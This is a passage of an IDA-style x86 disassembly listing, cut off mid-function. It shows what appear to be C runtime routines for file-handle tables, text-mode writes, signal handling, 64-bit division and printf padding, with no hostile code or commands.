mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_40A637
push edi
push offset a00000000000000 ; "00000000000000000000000000000000"
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A632
add [ebx+30h], edi
jmp short loc_40A637
; ---------------------------------------------------------------------------
loc_40A632: ; CODE XREF: sub_40A430+1FBj
or eax, 0FFFFFFFFh
jmp short loc_40A697
; ---------------------------------------------------------------------------
loc_40A637: ; CODE XREF: sub_40A430+1E2j
; sub_40A430+200j
sub esi, edi
loc_40A639: ; CODE XREF: sub_40A430+1C6j
test esi, esi
jg short loc_40A5F8
loc_40A63D: ; CODE XREF: sub_40A430+1C1j
test word ptr [ebx+38h], 4
jz short loc_40A695
cmp [ebp+var_4], 0
jle short loc_40A695
mov esi, [ebp+var_4]
jmp short loc_40A691
; ---------------------------------------------------------------------------
loc_40A650: ; CODE XREF: sub_40A430+263j
cmp esi, 20h
jbe short loc_40A65E
mov [ebp+var_8], 20h
jmp short loc_40A663
; ---------------------------------------------------------------------------
loc_40A65E: ; CODE XREF: sub_40A430+223j
mov eax, esi
mov [ebp+var_8], eax
loc_40A663: ; CODE XREF: sub_40A430+22Cj
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_40A68F
push edi
push offset asc_40FE08 ; " "
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_40A68A
add [ebx+30h], edi
jmp short loc_40A68F
; ---------------------------------------------------------------------------
loc_40A68A: ; CODE XREF: sub_40A430+253j
or eax, 0FFFFFFFFh
jmp short loc_40A697
; ---------------------------------------------------------------------------
loc_40A68F: ; CODE XREF: sub_40A430+23Aj
; sub_40A430+258j
sub esi, edi
loc_40A691: ; CODE XREF: sub_40A430+21Ej
test esi, esi
jg short loc_40A650
loc_40A695: ; CODE XREF: sub_40A430+213j
; sub_40A430+219j
xor eax, eax
loc_40A697: ; CODE XREF: sub_40A430+74j
; sub_40A430+ABj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40A430 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6A0 proc near ; CODE XREF: sub_408BE0+101p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+arg_4]
mov eax, ebx
and eax, 3
mov esi, dword_40FE4C[eax*4]
test ebx, 4
jz short loc_40A6BF
or esi, 8
loc_40A6BF: ; CODE XREF: sub_40A6A0+1Aj
test ebx, 8
jz short loc_40A6CD
or esi, 200h
loc_40A6CD: ; CODE XREF: sub_40A6A0+25j
test ebx, 10h
jz short loc_40A6DB
or esi, 100h
loc_40A6DB: ; CODE XREF: sub_40A6A0+33j
test ebx, 20h
jz short loc_40A6EB
or esi, 8000h
jmp short loc_40A6F1
; ---------------------------------------------------------------------------
loc_40A6EB: ; CODE XREF: sub_40A6A0+41j
or esi, 4000h
loc_40A6F1: ; CODE XREF: sub_40A6A0+49j
push 180h
push esi
mov eax, [ebp+arg_0]
push eax
call sub_40B970
add esp, 0Ch
pop esi
pop ebx
pop ebp
retn
sub_40A6A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40A710 proc near ; CODE XREF: sub_408D30+Dp
push 6
call sub_40BD80
pop ecx
push 1
call sub_407AA0
pop ecx
retn
sub_40A710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A730 proc near ; CODE XREF: sub_40A920+4Bp
; sub_40CD10+ADp
var_411 = byte ptr -411h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
push ebx
push esi
push edi
mov [ebp+var_C], 0
mov [ebp+var_4], 0
cmp [ebp+arg_8], 0
jnz short loc_40A757
xor eax, eax
jmp loc_40A919
; ---------------------------------------------------------------------------
loc_40A757: ; CODE XREF: sub_40A730+1Ej
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
test byte ptr [eax+edx+4], 20h
jz short loc_40A783
push 2
push 0
mov eax, [ebp+arg_0]
push eax
call sub_40BEB0
add esp, 0Ch
loc_40A783: ; CODE XREF: sub_40A730+41j
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
test byte ptr [eax+edx+4], 80h
jz loc_40A864
mov esi, [ebp+arg_4]
mov [ebp+var_10], 0
jmp loc_40A850
; ---------------------------------------------------------------------------
loc_40A7B2: ; CODE XREF: sub_40A730+12Cj
lea edi, [ebp+var_411]
jmp short loc_40A7D2
; ---------------------------------------------------------------------------
loc_40A7BA: ; CODE XREF: sub_40A730+C0j
mov eax, esi
inc esi
mov bl, [eax]
cmp bl, 0Ah
jnz short loc_40A7CD
inc [ebp+var_4]
mov eax, edi
inc edi
mov byte ptr [eax], 0Dh
loc_40A7CD: ; CODE XREF: sub_40A730+92j
mov eax, edi
inc edi
mov [eax], bl
loc_40A7D2: ; CODE XREF: sub_40A730+88j
lea eax, [ebp+var_411]
mov edx, edi
sub edx, eax
cmp edx, 400h
jge short loc_40A7F2
mov eax, [ebp+arg_4]
mov edx, esi
sub edx, eax
mov eax, edx
cmp eax, [ebp+arg_8]
jb short loc_40A7BA
loc_40A7F2: ; CODE XREF: sub_40A730+B2j
push 0
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_411]
mov edx, edi
sub edx, eax
mov eax, edx
push eax
lea eax, [ebp+var_411]
push eax
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
mov eax, [eax+edx]
push eax
call dword_411E08
test eax, eax
jz short loc_40A845
mov eax, [ebp+var_8]
add [ebp+var_C], eax
lea edx, [ebp+var_411]
mov ecx, edi
sub ecx, edx
cmp eax, ecx
jge short loc_40A850
jmp short loc_40A8AD
; ---------------------------------------------------------------------------
loc_40A845: ; CODE XREF: sub_40A730+FDj
call dword_411CE8
mov [ebp+var_10], eax
jmp short loc_40A8AD
; ---------------------------------------------------------------------------
loc_40A850: ; CODE XREF: sub_40A730+7Dj
; sub_40A730+111j
mov eax, [ebp+arg_4]
mov edx, esi
sub edx, eax
mov eax, edx
cmp eax, [ebp+arg_8]
jb loc_40A7B2
jmp short loc_40A8AD
; ---------------------------------------------------------------------------
loc_40A864: ; CODE XREF: sub_40A730+6Dj
push 0
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
mov eax, [eax+edx]
push eax
call dword_411E08
test eax, eax
jz short loc_40A8A4
mov [ebp+var_10], 0
mov eax, [ebp+var_8]
mov [ebp+var_C], eax
jmp short loc_40A8AD
; ---------------------------------------------------------------------------
loc_40A8A4: ; CODE XREF: sub_40A730+163j
call dword_411CE8
mov [ebp+var_10], eax
loc_40A8AD: ; CODE XREF: sub_40A730+113j
; sub_40A730+11Ej ...
cmp [ebp+var_C], 0
jnz short loc_40A913
cmp [ebp+var_10], 0
jz short loc_40A8DB
cmp [ebp+var_10], 5
jnz short loc_40A8CC
call sub_408460
mov dword ptr [eax], 9
jmp short loc_40A8D6
; ---------------------------------------------------------------------------
loc_40A8CC: ; CODE XREF: sub_40A730+18Dj
mov eax, [ebp+var_10]
push eax
call sub_408300
pop ecx
loc_40A8D6: ; CODE XREF: sub_40A730+19Aj
or eax, 0FFFFFFFFh
jmp short loc_40A919
; ---------------------------------------------------------------------------
loc_40A8DB: ; CODE XREF: sub_40A730+187j
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
test byte ptr [eax+edx+4], 40h
jz short loc_40A903
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jnz short loc_40A903
xor eax, eax
jmp short loc_40A919
; ---------------------------------------------------------------------------
loc_40A903: ; CODE XREF: sub_40A730+1C5j
; sub_40A730+1CDj
call sub_408460
mov dword ptr [eax], 1Ch
or eax, 0FFFFFFFFh
jmp short loc_40A919
; ---------------------------------------------------------------------------
loc_40A913: ; CODE XREF: sub_40A730+181j
mov eax, [ebp+var_C]
sub eax, [ebp+var_4]
loc_40A919: ; CODE XREF: sub_40A730+22j
; sub_40A730+1A9j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40A730 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A920 proc near ; CODE XREF: sub_408D60+79p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+arg_0]
cmp ebx, dword_413A88
jnb short loc_40A94B
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_40A95B
loc_40A94B: ; CODE XREF: sub_40A920+Ej
call sub_408460
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_40A97E
; ---------------------------------------------------------------------------
loc_40A95B: ; CODE XREF: sub_40A920+29j
push ebx
call sub_40AD40
pop ecx
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_4]
push eax
push ebx
call sub_40A730
add esp, 0Ch
mov esi, eax
push ebx
call sub_40ADA0
pop ecx
mov eax, esi
loc_40A97E: ; CODE XREF: sub_40A920+39j
pop esi
pop ebx
pop ebp
retn
sub_40A920 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A990 proc near ; CODE XREF: DMN0:loc_40ACEAp
; sub_40B9A0:loc_40BB9Dp
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
or edi, 0FFFFFFFFh
push 4
call sub_408800
pop ecx
xor esi, esi
loc_40A9A6: ; CODE XREF: sub_40A990+128j
cmp dword_413988[esi*4], 0
jz loc_40AA5D
mov ebx, dword_413988[esi*4]
jmp loc_40AA42
; ---------------------------------------------------------------------------
loc_40A9C0: ; CODE XREF: sub_40A990+C0j
test byte ptr [ebx+4], 1
jnz short loc_40AA3F
cmp dword ptr [ebx+8], 0
jnz short loc_40A9EF
push 3
call sub_408800
pop ecx
cmp dword ptr [ebx+8], 0
jnz short loc_40A9E7
lea eax, [ebx+0Ch]
push eax
call dword_411CC8
inc dword ptr [ebx+8]
loc_40A9E7: ; CODE XREF: sub_40A990+48j
push 3
call sub_408880
pop ecx
loc_40A9EF: ; CODE XREF: sub_40A990+3Aj
lea eax, [ebx+0Ch]
push eax
call dword_411CCC
test byte ptr [ebx+4], 1
jz short loc_40AA0B
lea eax, [ebx+0Ch]
push eax
call dword_411CD0
jmp short loc_40AA3F
; ---------------------------------------------------------------------------
loc_40AA0B: ; CODE XREF: sub_40A990+6Dj
mov dword ptr [ebx], 0FFFFFFFFh
mov eax, esi
shl eax, 5
mov [ebp+var_4], eax
mov edx, dword_413988[esi*4]
mov ecx, ebx
sub ecx, edx
mov eax, ecx
push eax
mov edx, 38E38E39h
imul edx
pop eax
shr eax, 1Fh
sar edx, 3
add eax, edx
mov edx, [ebp+var_4]
lea edi, [eax+edx]
jmp short loc_40AA56
; ---------------------------------------------------------------------------
loc_40AA3F: ; CODE XREF: sub_40A990+34j
; sub_40A990+79j
add ebx, 24h
loc_40AA42: ; CODE XREF: sub_40A990+2Bj
mov eax, dword_413988[esi*4]
add eax, 480h
cmp ebx, eax
jb loc_40A9C0
loc_40AA56: ; CODE XREF: sub_40A990+ADj
cmp edi, 0FFFFFFFFh
jz short loc_40AAB4
jmp short loc_40AABE
; ---------------------------------------------------------------------------
loc_40AA5D: ; CODE XREF: sub_40A990+1Ej
push 480h
call sub_408260
pop ecx
mov ebx, eax
test eax, eax
jz short loc_40AABE
mov dword_413988[esi*4], ebx
add dword_413A88, 20h
jmp short loc_40AA96
; ---------------------------------------------------------------------------
loc_40AA7E: ; CODE XREF: sub_40A990+114j
mov byte ptr [ebx+4], 0
mov dword ptr [ebx], 0FFFFFFFFh
mov byte ptr [ebx+5], 0Ah
mov dword ptr [ebx+8], 0
add ebx, 24h
loc_40AA96: ; CODE XREF: sub_40A990+ECj
mov eax, dword_413988[esi*4]
add eax, 480h
cmp ebx, eax
jb short loc_40AA7E
mov edi, esi
shl edi, 5
push edi
call sub_40AD40
pop ecx
jmp short loc_40AABE
; ---------------------------------------------------------------------------
loc_40AAB4: ; CODE XREF: sub_40A990+C9j
inc esi
cmp esi, 40h
jl loc_40A9A6
loc_40AABE: ; CODE XREF: sub_40A990+CBj
; sub_40A990+DCj ...
push 4
call sub_408880
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40A990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AAD0 proc near ; CODE XREF: sub_408E40+5Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_413A88
jnb loc_40AB5F
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
add eax, edx
test byte ptr [eax+4], 1
jz short loc_40AB5F
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_40AB5F
test ebx, ebx
jz short loc_40AB15
cmp ebx, 1
jz short loc_40AB24
cmp ebx, 2
jz short loc_40AB33
jmp short loc_40AB40
; ---------------------------------------------------------------------------
loc_40AB15: ; CODE XREF: sub_40AAD0+37j
push 0
push 0FFFFFFF6h
call dword_411E0C
jmp short loc_40AB40
; ---------------------------------------------------------------------------
loc_40AB24: ; CODE XREF: sub_40AAD0+3Cj
push 0
push 0FFFFFFF5h
call dword_411E0C
jmp short loc_40AB40
; ---------------------------------------------------------------------------
loc_40AB33: ; CODE XREF: sub_40AAD0+41j
push 0
push 0FFFFFFF4h
call dword_411E0C
loc_40AB40: ; CODE XREF: sub_40AAD0+43j
; sub_40AAD0+52j ...
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov dword ptr [edx+eax], 0FFFFFFFFh
xor eax, eax
jmp short loc_40AB6D
; ---------------------------------------------------------------------------
loc_40AB5F: ; CODE XREF: sub_40AAD0+Bj
; sub_40AAD0+2Bj ...
call sub_408460
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_40AB6D: ; CODE XREF: sub_40AAD0+8Dj
pop ebx
retn
sub_40AAD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AB70 proc near ; CODE XREF: DMN0:0040AD0Cp
; sub_40B9A0+2B4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_413A88
jnb loc_40AC01
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
cmp dword ptr [edx+eax], 0FFFFFFFFh
jnz short loc_40AC01
test ebx, ebx
jz short loc_40ABAE
cmp ebx, 1
jz short loc_40ABC0
cmp ebx, 2
jz short loc_40ABD2
jmp short loc_40ABE2
; ---------------------------------------------------------------------------
loc_40ABAE: ; CODE XREF: sub_40AB70+30j
mov eax, [esp+4+arg_4]
push eax
push 0FFFFFFF6h
call dword_411E0C
jmp short loc_40ABE2
; ---------------------------------------------------------------------------
loc_40ABC0: ; CODE XREF: sub_40AB70+35j
mov eax, [esp+4+arg_4]
push eax
push 0FFFFFFF5h
call dword_411E0C
jmp short loc_40ABE2
; ---------------------------------------------------------------------------
loc_40ABD2: ; CODE XREF: sub_40AB70+3Aj
mov eax, [esp+4+arg_4]
push eax
push 0FFFFFFF4h
call dword_411E0C
loc_40ABE2: ; CODE XREF: sub_40AB70+3Cj
; sub_40AB70+4Ej ...
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov ecx, [esp+4+arg_4]
mov [edx+eax], ecx
xor eax, eax
jmp short loc_40AC0F
; ---------------------------------------------------------------------------
loc_40AC01: ; CODE XREF: sub_40AB70+Bj
; sub_40AB70+2Cj
call sub_408460
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_40AC0F: ; CODE XREF: sub_40AB70+8Fj
pop ebx
retn
sub_40AB70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AC20 proc near ; CODE XREF: sub_408E40+Cp
; sub_408E40+25p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_413A88
jnb short loc_40AC61
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jz short loc_40AC61
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov eax, [edx+eax]
jmp short loc_40AC6F
; ---------------------------------------------------------------------------
loc_40AC61: ; CODE XREF: sub_40AC20+Bj
; sub_40AC20+26j
call sub_408460
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_40AC6F: ; CODE XREF: sub_40AC20+3Fj
pop ebx
retn
sub_40AC20 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+4]
push eax
call sub_40AC20
pop ecx
retn
; ---------------------------------------------------------------------------
align 10h
push ebx
push esi
push edi
xor bl, bl
test byte ptr [esp+14h], 8
jz short loc_40AC9F
or bl, 20h
loc_40AC9F: ; CODE XREF: DMN0:0040AC9Aj
test word ptr [esp+14h], 4000h
jz short loc_40ACAB
or bl, 80h
loc_40ACAB: ; CODE XREF: DMN0:0040ACA6j
test byte ptr [esp+14h], 80h
jz short loc_40ACB5
or bl, 10h
loc_40ACB5: ; CODE XREF: DMN0:0040ACB0j
mov eax, [esp+10h]
push eax
call dword_411DEC
mov edi, eax
test edi, edi
jnz short loc_40ACD8
call dword_411CE8
push eax
call sub_408300
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_40AD31
; ---------------------------------------------------------------------------
loc_40ACD8: ; CODE XREF: DMN0:0040ACC4j
cmp edi, 2
jnz short loc_40ACE2
or bl, 40h
jmp short loc_40ACEA
; ---------------------------------------------------------------------------
loc_40ACE2: ; CODE XREF: DMN0:0040ACDBj
cmp edi, 3
jnz short loc_40ACEA
or bl, 8
loc_40ACEA: ; CODE XREF: DMN0:0040ACE0j
; DMN0:0040ACE5j
call sub_40A990
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40AD06
call sub_408460
mov dword ptr [eax], 18h
or eax, 0FFFFFFFFh
jmp short loc_40AD31
; ---------------------------------------------------------------------------
loc_40AD06: ; CODE XREF: DMN0:0040ACF4j
mov eax, [esp+10h]
push eax
push esi
call sub_40AB70
add esp, 8
or bl, 1
mov eax, esi
and eax, 1Fh
imul eax, 24h
mov edx, esi
sar edx, 5
mov edx, dword_413988[edx*4]
mov [edx+eax+4], bl
mov eax, esi
loc_40AD31: ; CODE XREF: DMN0:0040ACD6j
; DMN0:0040AD04j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AD40 proc near ; CODE XREF: sub_408EE0+3Ap
; sub_40A920+3Cp ...
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea esi, [edx+eax]
cmp dword ptr [esi+8], 0
jnz short loc_40AD86
push 3
call sub_408800
pop ecx
cmp dword ptr [esi+8], 0
jnz short loc_40AD7E
lea eax, [esi+0Ch]
push eax
call dword_411CC8
inc dword ptr [esi+8]
loc_40AD7E: ; CODE XREF: sub_40AD40+2Fj
push 3
call sub_408880
pop ecx
loc_40AD86: ; CODE XREF: sub_40AD40+21j
lea eax, [esi+0Ch]
push eax
call dword_411CCC
pop esi
pop ebx
retn
sub_40AD40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40ADA0 proc near ; CODE XREF: sub_408EE0+4Ap
; sub_40A920+56p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+0Ch]
push eax
call dword_411CD0
pop ebx
retn
sub_40ADA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40ADD0 proc near ; DATA XREF: sub_40AE10+A4o
; sub_44D131+A4o
push ebx
push 1
push 2
call sub_40AE10
add esp, 8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40ADEB
test ebx, ebx
jnz short loc_40ADEF
loc_40ADEB: ; CODE XREF: sub_40ADD0+15j
xor eax, eax
jmp short loc_40AE0A
; ---------------------------------------------------------------------------
loc_40ADEF: ; CODE XREF: sub_40ADD0+19j
cmp ebx, 1
jz short loc_40AE05
push 0
push 2
call sub_40AE10
add esp, 8
push 2
call ebx
pop ecx
loc_40AE05: ; CODE XREF: sub_40ADD0+22j
mov eax, 1
loc_40AE0A: ; CODE XREF: sub_40ADD0+1Dj
pop ebx
retn 4
sub_40ADD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE10 proc near ; CODE XREF: sub_409260+18p
; sub_409260+3Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
test ebx, ebx
jle short loc_40AE2E
cmp ebx, 2Ch
jge short loc_40AE2E
cmp [ebp+arg_4], 0FFFFFFFFh
jnz short loc_40AE36
loc_40AE2E: ; CODE XREF: sub_40AE10+Ej
; sub_40AE10+13j
or eax, 0FFFFFFFFh
jmp loc_40AEE6
; ---------------------------------------------------------------------------
loc_40AE36: ; CODE XREF: sub_40AE10+1Cj
cmp ebx, 4
jz short loc_40AE45
cmp ebx, 8
jz short loc_40AE45
cmp ebx, 0Bh
jnz short loc_40AEA4
loc_40AE45: ; CODE XREF: sub_40AE10+29j
; sub_40AE10+2Ej
call sub_409150
mov [ebp+var_8], eax
mov eax, [eax+34h]
cmp eax, offset dword_4117E4
jnz short loc_40AE85
push 0B0h
call sub_408260
pop ecx
mov edx, [ebp+var_8]
mov [edx+34h], eax
test eax, eax
jz short loc_40AE80
mov eax, [ebp+var_8]
mov edi, [eax+34h]
mov esi, offset dword_4117E4
mov ecx, 2Ch
rep movsd
jmp short loc_40AE85
; ---------------------------------------------------------------------------
loc_40AE80: ; CODE XREF: sub_40AE10+5Aj
or eax, 0FFFFFFFFh
jmp short loc_40AEE6
; ---------------------------------------------------------------------------
loc_40AE85: ; CODE XREF: sub_40AE10+45j
; sub_40AE10+6Ej
mov eax, ebx
shl eax, 2
mov edx, [ebp+var_8]
mov ecx, [edx+34h]
mov ecx, [ecx+eax]
mov [ebp+var_4], ecx
mov edx, [edx+34h]
mov ecx, [ebp+arg_4]
mov [edx+eax], ecx
mov eax, [ebp+var_4]
jmp short loc_40AEE6
; ---------------------------------------------------------------------------
loc_40AEA4: ; CODE XREF: sub_40AE10+33j
cmp ebx, 2
jnz short loc_40AED2
cmp dword_41189C, 0
jnz short loc_40AED2
push 1
push offset sub_40ADD0
call dword_411E10
test eax, eax
jnz short loc_40AEC8
or eax, 0FFFFFFFFh
jmp short loc_40AEE6
; ---------------------------------------------------------------------------
loc_40AEC8: ; CODE XREF: sub_40AE10+B1j
mov dword_41189C, 1
loc_40AED2: ; CODE XREF: sub_40AE10+97j
; sub_40AE10+A0j
lea eax, ds:4117E4h[ebx*4]
mov edx, [eax]
mov [ebp+var_4], edx
mov edx, [ebp+arg_4]
mov [eax], edx
mov eax, [ebp+var_4]
loc_40AEE6: ; CODE XREF: sub_40AE10+21j
; sub_40AE10+73j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AE10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AEF0 proc near ; CODE XREF: sub_407B60+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_40AEF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AF00 proc near ; CODE XREF: DMN0:0040934Cp
; sub_40B0C0+F3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_4]
or eax, eax
jnz short loc_40AF22
mov ecx, [esp+8+arg_0]
mov eax, [esp+8+arg_C]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_8]
div ecx
mov edx, ebx
jmp short loc_40AF63
; ---------------------------------------------------------------------------
loc_40AF22: ; CODE XREF: sub_40AF00+8j
mov ecx, eax
mov ebx, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
mov eax, [esp+8+arg_8]
loc_40AF30: ; CODE XREF: sub_40AF00+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40AF30
div ebx
mov esi, eax
mul [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
mul esi
add edx, ecx
jb short loc_40AF5E
cmp edx, [esp+8+arg_C]
ja short loc_40AF5E
jb short loc_40AF5F
cmp eax, [esp+8+arg_8]
jbe short loc_40AF5F
loc_40AF5E: ; CODE XREF: sub_40AF00+4Ej
; sub_40AF00+54j
dec esi
loc_40AF5F: ; CODE XREF: sub_40AF00+56j
; sub_40AF00+5Cj
xor edx, edx
mov eax, esi
loc_40AF63: ; CODE XREF: sub_40AF00+20j
pop esi
pop ebx
retn 10h
sub_40AF00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF70 proc near ; CODE XREF: sub_409CF0+B3p
; sub_409CF0+6E1p
var_64 = dword ptr -64h
var_60 = byte ptr -60h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
cmp dword ptr [ebx+2Ch], 0
jge short loc_40AF8E
mov [ebp+var_64], 7FFFFFFFh
jmp short loc_40AF94
; ---------------------------------------------------------------------------
loc_40AF8E: ; CODE XREF: sub_40AF70+13j
mov eax, [ebx+2Ch]
mov [ebp+var_64], eax
loc_40AF94: ; CODE XREF: sub_40AF70+1Cj
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
movzx eax, byte_4118A0
mov edx, [ebx+34h]
add eax, edx
mov [ebp+var_14], eax
mov [ebp+var_1C], 0
mov [ebp+var_18], 0
test word ptr [ebx+38h], 4
jnz short loc_40AFC5
cmp [ebp+var_14], 40h
ja short loc_40AFD4
loc_40AFC5: ; CODE XREF: sub_40AF70+4Dj
lea eax, [ebp+var_60]
mov [ebp+var_10], eax
mov [ebp+var_14], 40h
jmp short loc_40AFED
; ---------------------------------------------------------------------------
loc_40AFD4: ; CODE XREF: sub_40AF70+53j
mov eax, [ebp+var_14]
push eax
call sub_408260
pop ecx
mov [ebp+var_10], eax
test eax, eax
jnz short loc_40AFED
or eax, 0FFFFFFFFh
jmp loc_40B0B5
; ---------------------------------------------------------------------------
loc_40AFED: ; CODE XREF: sub_40AF70+62j
; sub_40AF70+73j
test esi, esi
jnz short loc_40AFF6
mov esi, offset aNull ; "(null)"
loc_40AFF6: ; CODE XREF: sub_40AF70+7Fj
mov [ebp+var_20], 0
jmp short loc_40B07B
; ---------------------------------------------------------------------------
loc_40AFFF: ; CODE XREF: sub_40AF70+10Fj
lea eax, [ebp+var_1C]
push eax
movzx eax, word ptr [esi]
push eax
lea eax, [ebp+var_C]
push eax
call sub_40BFA0
add esp, 0Ch
mov edi, eax
test eax, eax
jl short loc_40B026
cmp word ptr [esi], 0
jnz short loc_40B02C
dec edi
mov eax, edi
test eax, eax
jge short loc_40B02C
loc_40B026: ; CODE XREF: sub_40AF70+A7j
or [ebp+var_20], 0FFFFFFFFh
jmp short loc_40B085
; ---------------------------------------------------------------------------
loc_40B02C: ; CODE XREF: sub_40AF70+ADj
; sub_40AF70+B4j
cmp [ebp+var_4], edi
jl short loc_40B085
mov eax, [ebx+14h]
add eax, edi
cmp [ebp+var_14], eax
jnb short loc_40B056
mov dword ptr [ebx+34h], 0
mov eax, [ebp+var_10]
push eax
push ebx
call sub_40A430
add esp, 8
mov dword ptr [ebx+14h], 0
